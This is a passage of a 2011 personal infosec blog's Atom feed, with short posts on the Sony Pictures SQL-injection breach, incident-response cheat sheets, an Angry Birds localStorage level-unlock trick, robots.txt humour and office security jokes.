style="text-align: center;"&gt;&lt;a href="http://facebook.com/BossaVino"&gt;Fun Vs. Time&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5815883642270464472?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5815883642270464472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5815883642270464472'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/fun-vs-time.html' title='Fun Vs. Time'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-ieDanxFlVhk/Td-43-WIx5I/AAAAAAAAIqU/emThBVv_fts/s72-c/Fun+Vs+Time.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7070838315557917370</id><published>2011-06-03T20:25:00.003+08:00</published><updated>2011-06-04T14:21:38.536+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sqlinjection'/><category scheme='http://www.blogger.com/atom/ns#' term='breaches'/><title type='text'>SonyPictures.com is Hacked via sqli</title><content type='html'>Sony Pictures web site is hacked, via SQL injection. All the user ID, emails, and password are shown in plaintext (and available for download).&lt;br /&gt;&lt;br /&gt;RSA (March), PSN (April~May), Sony Pictures (June), what's next?&lt;br /&gt;&lt;br /&gt;A good write up on Sony PSN attack at &lt;a href="http://www.esecurityplanet.com/features/article.php/3935046/Deciphering-the-Sony-PSN-Attack.htm"&gt;Deciphering the Sony PSN Attack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7070838315557917370?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7070838315557917370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7070838315557917370'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/sonypicturescom-is-hacked-via-sqli.html' title='SonyPictures.com is Hacked via sqli'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-447852280619384487</id><published>2011-06-02T08:00:00.000+08:00</published><updated>2011-06-02T08:00:02.392+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bossa Vino'/><title type='text'>Where's the fun in a week?</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/--hCnztG5ccM/Td-0u9PiRuI/AAAAAAAAIqQ/cv8vju23xiU/s1600/mon-sat.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="325" src="http://1.bp.blogspot.com/--hCnztG5ccM/Td-0u9PiRuI/AAAAAAAAIqQ/cv8vju23xiU/s400/mon-sat.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;a href="http://facebook.com/BossaVino"&gt;Where's the fun?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-447852280619384487?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/447852280619384487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/447852280619384487'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/wheres-fun-in-week.html' title='Where&apos;s the fun in a week?'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/--hCnztG5ccM/Td-0u9PiRuI/AAAAAAAAIqQ/cv8vju23xiU/s72-c/mon-sat.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-4003162032176785384</id><published>2011-06-01T14:25:00.000+08:00</published><updated>2011-06-04T14:32:18.189+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IR'/><title type='text'>Incident Response Methodologies (IRM)</title><content type='html'>Go download a copy of all the &lt;a href="http://cert.societegenerale.com/en/publications.html"&gt;IRM cheat sheets&lt;/a&gt; published at CERT Societe Generale. It&amp;nbsp;provides easy to use operational incident best practices. These cheat sheets are dedicated to incident handling and cover multiple fields on which a CERT team can be involved.&lt;br /&gt;&lt;br /&gt;There are all in PDF format:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;IRM-1: Worm infection&lt;/li&gt;&lt;li&gt;IRM-2: Windows Intrusion&lt;/li&gt;&lt;li&gt;IRM-3: UNIX Intrusion&lt;/li&gt;&lt;li&gt;IRM-4: Distributed Denial of Services&lt;/li&gt;&lt;li&gt;IRM-5: Malicious Network&amp;nbsp;Behavior&lt;/li&gt;&lt;li&gt;IRM-6: Website Defacement&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-4003162032176785384?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4003162032176785384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4003162032176785384'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/incident-response-methodologies-irm.html' title='Incident Response Methodologies (IRM)'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-2738057848882433472</id><published>2011-05-27T13:25:00.007+08:00</published><updated>2011-05-27T13:29:19.111+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><title type='text'>Error in Static HTML on Facebook</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-vcfQvNAsXms/Td82Aq5bIQI/AAAAAAAAIqM/U0fWGaz9gQ8/s1600/Static+HTML+on+Facebook.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="169" src="http://2.bp.blogspot.com/-vcfQvNAsXms/Td82Aq5bIQI/AAAAAAAAIqM/U0fWGaz9gQ8/s400/Static+HTML+on+Facebook.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;a href="http://apps.facebook.com/statichtml/?installed=1"&gt;http://apps.facebook.com/statichtml/?installed=1&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;It reviews the directory path, table name and field names in the database.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-2738057848882433472?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2738057848882433472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2738057848882433472'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/error-in-static-html-on-facebook.html' title='Error in Static HTML on Facebook'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-vcfQvNAsXms/Td82Aq5bIQI/AAAAAAAAIqM/U0fWGaz9gQ8/s72-c/Static+HTML+on+Facebook.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7603506253017786466</id><published>2011-05-27T10:03:00.053+08:00</published><updated>2011-05-31T15:41:00.913+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joke'/><title type='text'>Fighting Mail Spam Takes A Month</title><content type='html'>&lt;b&gt;User&lt;/b&gt;: "Hi (mail) administrator, I keep receive some spam mails from a user. Can you advise me what should I be doing? And here are the samples of the spams I received."&lt;br /&gt;&lt;br /&gt;(after 1 week)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Mail Admin&lt;/b&gt;: "We received your request. After an in-depth study, we found that we can't do much about it. Because the source of the spam is coming from our business partner. We'll pass this case to Security Forensic team for further investigation."&lt;br /&gt;&lt;br /&gt;(after 3 days)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Forensic team&lt;/b&gt; &lt;b&gt;lead: &lt;/b&gt;"Hi&amp;nbsp;&lt;b&gt;Mail Admin&lt;/b&gt;, we confirm that this is a real spam from our business partner. However, &amp;nbsp;we cannot simply block them at the mail gateway. Or else it may cause some legal issue with our business partner. We'll have a discussion with legal team for further action."&lt;br /&gt;&lt;br /&gt;(after 1 week)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Legal team&lt;/b&gt; : "Hi, forensic team! Unfortunately the answer is&amp;nbsp;No. &amp;nbsp;We can't block [ ALL ] their emails. This will cause the loss in business and if we can't receive email from the business partner, we may be having legal issues with them. No, please don't do anything stupid."&lt;br /&gt;&lt;br /&gt;(after 3 days)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Forensic team&lt;/b&gt;: "Hi Mail Admin, there is nothing much I can do. The advice from the legal team is [ no ]. Please advise the user that we can't afford to loss the business. And make sure our mail gateway &amp;nbsp;never ever [ block ] any email from the business partner."&lt;br /&gt;&lt;br /&gt;(after 1 week)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Mail Admin&lt;/b&gt;: "Hi user, after some discussions with forensic and legal teams, we would not will never block the spam mail (from the business partner) for you. It may involve complicated legal issue and the loss of business."&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"However, we'll offer you another solution. You may configure a filter in your Outlook to filter all the emails for you. With this, you will not see any more spam mails. Please follow the instruction at our sharepoint site. There is a detail step-by-step instruction there."&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;User&lt;/b&gt;: "Thank you very much, Mail Admin. It really solve my problem now after I follow the instructions from the sharepoint site."&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7603506253017786466?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7603506253017786466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7603506253017786466'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/fighting-mail-spam-takes-month.html' title='Fighting Mail Spam Takes A Month'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3791515247850895032</id><published>2011-05-26T15:14:00.004+08:00</published><updated>2011-05-26T15:29:30.073+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bossa Vino'/><title type='text'>Bossa Vino</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-y3p1QVVJZS4/Td3_d91Ma-I/AAAAAAAAIqI/NKR4aDkLZHw/s1600/Bosa+Vino+White.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="289" src="http://3.bp.blogspot.com/-y3p1QVVJZS4/Td3_d91Ma-I/AAAAAAAAIqI/NKR4aDkLZHw/s320/Bosa+Vino+White.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;a href="http://facebook.com/BossaVino"&gt;facebook.com/BossaVino&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3791515247850895032?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3791515247850895032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3791515247850895032'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/bossa-vino.html' title='Bossa Vino'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-y3p1QVVJZS4/Td3_d91Ma-I/AAAAAAAAIqI/NKR4aDkLZHw/s72-c/Bosa+Vino+White.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5111688392440323789</id><published>2011-05-21T15:33:00.010+08:00</published><updated>2011-05-21T15:38:43.825+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Google Vs Facebook</title><content type='html'>We all know that Facebook is hot now. But how much more does it better than Google?&lt;br /&gt;&lt;br /&gt;We can "google" the answer for this, using &lt;a href="http://www.google.com/trends?q=google%2Cfacebook&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=all&amp;amp;sort=0"&gt;Google Trends&lt;/a&gt;. As always, a picture worth thousand of words.&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;table border="0" cellpadding="0" cellspacing="0" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; font-family: sans-serif, Verdana, Arial;"&gt;&lt;tbody style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;tr style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;td style="font-family: sans-serif, Verdana, Arial; padding-top: 13px;" valign="top"&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;table style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; display: inline; font-family: sans-serif, Verdana, Arial;"&gt;&lt;tbody style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;tr style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;td style="font-family: sans-serif, Verdana, Arial; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;"&gt;&lt;span font="" style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;b style="font-family: sans-serif, Verdana, Arial;"&gt;google&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/td&gt;&lt;td style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;table cellspacing="0" class="bar" height="4" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; font-family: sans-serif, Verdana, Arial; width: 31px;"&gt;&lt;tbody style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;tr style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;td bgcolor="4684ee" style="border-bottom-color: initial; border-bottom-style: none; border-bottom-width: initial; display: block; font-family: sans-serif, Verdana, Arial; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;td style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;span style="font-family: sans-serif, Verdana, Arial;"&gt;1.00&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; display: inline; font-family: sans-serif, Verdana, Arial;"&gt;&lt;tbody style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;tr style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;td style="font-family: sans-serif, Verdana, Arial; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;"&gt;&lt;span font="" style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;b style="font-family: sans-serif, Verdana, Arial;"&gt;facebook&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/td&gt;&lt;td style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;table cellspacing="0" class="bar" height="4" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; font-family: sans-serif, Verdana, Arial; width: 70px;"&gt;&lt;tbody style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;tr style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;td bgcolor="dc3912" style="border-bottom-color: initial; border-bottom-style: none; border-bottom-width: initial; display: block; font-family: sans-serif, Verdana, Arial; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;td style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;span style="font-family: sans-serif, Verdana, Arial;"&gt;2.25&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/blockquote&gt;&lt;/td&gt;&lt;td style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="font-family: sans-serif, Verdana, Arial;"&gt;&lt;td style="font-family: sans-serif, Verdana, Arial;" valign="top"&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img src="http://www.google.com/trends/viz?q=google,facebook&amp;amp;date=all&amp;amp;geo=all&amp;amp;graph=weekly_img&amp;amp;sort=0&amp;amp;sa=N" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; font-family: sans-serif, Verdana, Arial; margin-left: auto; margin-right: auto;" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Google Vs. Facebook&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5111688392440323789?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5111688392440323789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5111688392440323789'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/google-vs-facebook.html' title='Google Vs Facebook'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1191882224304867378</id><published>2011-05-18T22:26:00.022+08:00</published><updated>2011-05-18T22:36:36.301+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><category scheme='http://www.blogger.com/atom/ns#' term='Angry Birds'/><category scheme='http://www.blogger.com/atom/ns#' term='Google Chrome'/><title type='text'>Angry Birds</title><content type='html'>Google Chrome team releases an online HTML5/Javascript game, &lt;a href="http://chrome.angrybirds.com/?version=hd"&gt;Angry Birds&lt;/a&gt;. You can install it as an app via1 Web Store if you are using Chrome.&lt;br /&gt;&lt;br /&gt;There are 2 quick hacks for this game. 1 for you to access to all levels, including the special Chrome level. Another 1 is for you to set all levels locked.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In the talk Rovio did at Google IO, they mentioned they were using HTML5′s LocalStorage. If you open up Web Inspector in chrome, you’ll see they are keeping track of your score and stars with localstorage. Lucky for us, that means we can use setItem() set all 70 levels to 3 and get access to them all.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To unlock all levels:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;javascript: var i = 0; while (i&amp;lt;=69) { localStorage.setItem('level_star_'+i,'3'); i++; } window.location.reload();&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;To lock all the levels:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;javascript: var i = 1; while (i&amp;lt;=69) { localStorage.setItem('level_star_'+i,'-1'); i++; } window.location.reload();&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1191882224304867378?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1191882224304867378'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1191882224304867378'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/angry-birds.html' title='Angry Birds'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5820168711142949061</id><published>2011-05-17T14:01:00.004+08:00</published><updated>2011-05-17T14:03:32.593+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joke'/><title type='text'>Social Networks Security</title><content type='html'>Social Networks are a security game changer. Don't you see everyone is playing games on the FB apps nowadays?&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5820168711142949061?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5820168711142949061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5820168711142949061'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/social-networks-security.html' title='Social Networks Security'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-8276431880055798941</id><published>2011-05-09T13:49:00.023+08:00</published><updated>2011-05-09T13:57:49.198+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='YouTube'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Robots and Humans</title><content type='html'>Other robots.txt, Google site does show some humor where they do have human beside having the robots. Here's the list of URL and the snippets:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.google.com/robots.txt"&gt;http://www.google.com/robots.txt&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.youtube.com/robots.txt"&gt;http://www.youtube.com/robots.txt&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.google.com/humans.txt"&gt;http://www.google.com/humans.txt&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Google Robots:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;Sitemap: http://www.gstatic.com/s2/sitemaps/profiles-sitemap.xml&lt;br /&gt;Sitemap: http://www.google.com/hostednews/sitemap_index.xml&lt;br /&gt;Sitemap: http://www.google.com/ventures/sitemap_ventures.xml&lt;br /&gt;Sitemap: http://www.google.com/sitemaps_webmasters.xml&lt;br /&gt;Sitemap: http://www.gstatic.com/trends/websites/sitemaps/sitemapindex.xml&lt;br /&gt;Sitemap: http://www.gstatic.com/dictionary/static/sitemaps/sitemap_index.xml&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Youtube Robots:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;# robots.txt file for YouTube&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;# Created in the distant future (the year 2000) after&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;# the robotic uprising of the mid 90's which wiped out all humans.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Google humans:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;Google is built by a large team of engineers, designers, researchers, robots, and others in many different sites across the globe. It is updated continuously, and built with more tools and technologies than we can shake a stick at. If you'd like to help us out, see google.com/jobs.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8276431880055798941?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8276431880055798941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8276431880055798941'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/robots-and-humans.html' title='Robots and Humans'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1824755322368932997</id><published>2011-05-08T15:37:00.001+08:00</published><updated>2011-05-08T15:37:00.245+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joke'/><title type='text'>Monthly Report [ infosec ]</title><content type='html'>"This is the monthly incident report.", said Security Administrator.&lt;br /&gt;&lt;br /&gt;"Put together with last month report, and I'll review it next month." said IT director.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1824755322368932997?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1824755322368932997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1824755322368932997'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/monthly-report-infosec.html' title='Monthly Report [ infosec ]'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-4893824533592463295</id><published>2011-05-07T12:51:00.000+08:00</published><updated>2011-05-07T12:51:55.580+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joke'/><title type='text'>"The Worst Information Security Advice Ever"</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Get inspired from Lenny's post on "&lt;a href="http://blog.zeltser.com/post/5210366247/bad-information-security-advice"&gt;The Worst Information Security Advice Ever&lt;/a&gt;", I put a few 